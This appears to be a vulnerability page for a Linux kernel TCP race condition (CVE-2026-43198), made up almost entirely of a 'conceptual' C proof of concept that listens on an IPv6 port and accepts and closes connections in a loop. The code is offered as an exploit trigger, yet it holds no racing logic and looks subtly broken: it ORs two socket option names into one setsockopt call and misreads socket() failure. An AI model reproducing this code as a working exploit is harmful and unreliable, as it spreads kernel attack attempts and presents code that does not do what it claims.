CVE-2026-43198 Linux内核TCP协议栈竞态条件漏洞

/* * PoC for CVE-2026-43198 (Conceptual) * This code attempts to trigger the race condition in tcp_v6_syn_recv_sock. * It creates an IPv6 listening socket and accepts connections to hit the vulnerable path. * Exploitation requires precise timing to hit the race window during ehash insertion. * * Compile: gcc -o poc_cve2026_43198 poc_cve2026_43198.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <arpa/inet.h> #include <netinet/in.h> #include <sys/socket.h> #define PORT 9999 void start_listener() { int server_fd; struct sockaddr_in6 address; int opt = 1; // Create IPv6 socket if ((server_fd = socket(AF_INET6, SOCK_STREAM, 0)) == 0) { perror("socket failed"); exit(EXIT_FAILURE); } if (setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, &opt, sizeof(opt))) { perror("setsockopt"); exit(EXIT_FAILURE); } address.sin6_family = AF_INET6; address.sin6_addr = in6addr_any; address.sin6_port = htons(PORT); if (bind(server_fd, (struct sockaddr *)&address, sizeof(address)) < 0) { perror("bind failed"); exit(EXIT_FAILURE); } if (listen(server_fd, 10) < 0) { perror("listen"); exit(EXIT_FAILURE); } printf("[+] Listening on port %d. Triggering vulnerable path on accept...\n", PORT); // Accepting connections triggers tcp_v6_syn_recv_sock while(1) { int new_socket = accept(server_fd, NULL, NULL); if (new_socket > 0) { // Immediate close to stress socket handling close(new_socket); } } } int main() { printf("Starting PoC for CVE-2026-43198\n"); start_listener(); return 0; }